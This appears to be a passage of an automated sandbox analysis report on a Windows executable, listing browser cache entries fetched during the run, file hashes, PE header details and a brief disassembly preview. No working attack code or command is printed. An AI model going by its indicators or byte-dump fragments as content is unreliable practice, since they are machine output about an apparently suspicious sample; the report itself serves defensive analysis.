....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.542452211456501
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	f48jWpQ2F8.exe
File size:	2'981'376 bytes
MD5:	5a3ff46ade4fa0d7f8f8f1c1c4caa164
SHA1:	ec3bac95021b4151dfdd22a4a9188e6baf05e538
SHA256:	17cea3d838e4546c6eabf33ea89a8d20e70e20ebd6567e7eb92323d2929ba28b
SHA512:	f41ab05b1a97e255f63f85fdbacc6566a4d5de6436baf4a1caca7c1122f0e5e01c951aaabd4786230ac9017a3742b4c16ba8b5d22e43fe7a20bd004acad76514
SSDEEP:	49152:Qa36NExRWoDiYSV5CXBWFBx98NvzZKLgKWhctXrRa:QNNExRvD5SV5CXoh98d0u6Zd
TLSH:	40D55C52A90975CFC8CF27F899A7CE42995D02F7471048C7A86CB4BA7D73CC91AB6C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................P0...........@...........................0......n....@.................................T0..h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x705000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE8C4D8662Ah
subps xmm5, dqword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
